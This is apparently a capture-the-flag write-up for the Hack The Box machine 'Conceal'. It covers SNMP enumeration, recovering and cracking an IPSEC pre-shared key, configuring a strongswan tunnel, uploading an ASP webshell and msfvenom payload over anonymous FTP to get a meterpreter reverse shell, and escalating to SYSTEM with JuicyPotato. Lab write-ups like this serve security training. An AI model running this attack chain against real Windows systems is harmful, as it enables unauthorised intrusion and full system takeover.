Table of Content

Recon

Like every time.

nmap

Nmap only spits out snmp and port 500 UDP (IPSEC) to be open.

User enumeration

Nmaps module `snmp-win32-users` will spit out the following Windows Users:

```
--- » sudo nmap --script=snmp-win32-users -vv -p161 -sU 10.10.10.116
[output ommitted]
PORT    STATE SERVICE REASON
161/udp open  snmp    script-set
| snmp-win32-users:
|   Administrator
|   DefaultAccount
|   Destitute
|_  Guest
[output ommitted]
```

snmpwalk

A valuable information in snmpwalk is the PSK of the ipsec which is `iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"`. The string `9C8B1A372B1878851BE2C097031B6E43` translates into `Dudecake1!`. It's hashed.

Initial Foothold - Get user.txt

Foothold will take two steps. Establish VPN (hard), exploit the box (not that hard)

VPN

With `strongswan` we can establish an IPSEC tunnel. It is tricky because you need to define the subnets and protocol right (tcp only, subnet=client-ip). Also you need to hit the right settings for the proposals of phase1 and phase2.

See this config for reference:

```
patrick@i3kali ~ % cat /etc/ipsec.conf
config setup

conn conceal
    leftsubnet=10.10.14.4
    right=10.10.10.116
    rightsubnet=10.10.10.116[tcp]
    auto=start
    authby=psk
    ike=3des-sha1-modp1024
    esp=3des-sha1!
    keyexchange=ikev1
    type=transport

patrick@i3kali ~ % sudo cat /etc/ipsec.secrets
# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

# this file is managed with debconf and will contain the automatically created
    ↪ private key
#include /var/lib/strongswan/ipsec.secrets.inc

10.10.10.116 : PSK Dudecake1!
patrick@i3kali ~ %
```

Shell

There are two open TCP Ports (we know from snmp enumeration or TCP connect scan through IPSEC). Those are 21/ftp and 80/http. Enumerating dirs on 80 reveals `/upload/` to be a upload folder.

Whatever you upload via 21/ftp using anonymous login, will be browsable under /uploads/ on port 80/http.

Using a webshell in `asp` format like this one can help initiating a metasploit shell.

I used a combination of Upload-Shell and webshell to upload a msfvenom payload and execute it. Then I gained a meterpreter reverse shell and got the flag.

```
meterpreter > dir
Listing: C:\Users\Destitute\Desktop
===================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2018-10-12 21:08:44 +0200  desktop.ini
100777/rwxrwxrwx  7168  fil   2019-01-08 12:40:20 +0100  msf.exe
```

```
100666/rw-rw-rw-  32    fil   2018-10-13 00:58:02 +0200  proof.txt

meterpreter > cat proof.txt
6E9FDFE0DCB66E700FB9CB824AE5A6FF

meterpreter >
```

Priv Esc - Get root.txt

For privesc you can leverage privileges of the shell you gained.

```
meterpreter > shell
wProcess 4144 created.
Channel 1 created.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\SysWOW64\inetsrv>hoami
whoami
conceal\destitute

C:\Windows\SysWOW64\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
```

The `SeImpersonatePrivilege` enables you to use a `RottenPotato` Exploit on this machine.

For this we are using a version called `JuicyPotato`. It will spawn a process with system rights and then impersonate it's token to execute a command using SYSTEM rights.

I chost to just run `msf.exe` once again to gain a SYSTEM meterpreter.

```
meterpreter > upload JuicyPotato.exe
[*] uploading  : JuicyPotato.exe -> JuicyPotato.exe
```

```
[*] Uploaded 339.50 KiB of 339.50 KiB (100.0%): JuicyPotato.exe -> JuicyPotato.exe
[*] uploaded    : JuicyPotato.exe -> JuicyPotato.exe
meterpreter > shell
Process 4068 created.
Channel 3 created.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Destitute\Desktop>JuicyPotato.exe -l 1337 -p
    ↪ c:\Users\Destitute\Desktop\msf.exe -t * -c
    ↪ {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
JuicyPotato.exe -l 1337 -p c:\Users\Destitute\Desktop\msf.exe -t * -c
    ↪ {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
.....
[*] Sending stage (206403 bytes) to 10.10.10.116
.
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Users\Destitute\Desktop>

######################
[*] Meterpreter session 5 opened (10.10.14.4:4444 -> 10.10.10.116:49756) at
    ↪ 2019-01-08 14:02:47 +0100

msf exploit(multi/handler) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > shell
Process 2468 created.
Channel 1 created.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9606-BE7B

 Directory of C:\Users\Administrator\Desktop

27/11/2018  16:01    <DIR>          .
27/11/2018  16:01    <DIR>          ..
12/10/2018  22:57                32 proof.txt
```

```
               1 File(s)             32 bytes
               2 Dir(s)  52,485,173,248 bytes free

C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
5737DD2EDC29B5B219BC43E60866BE08
```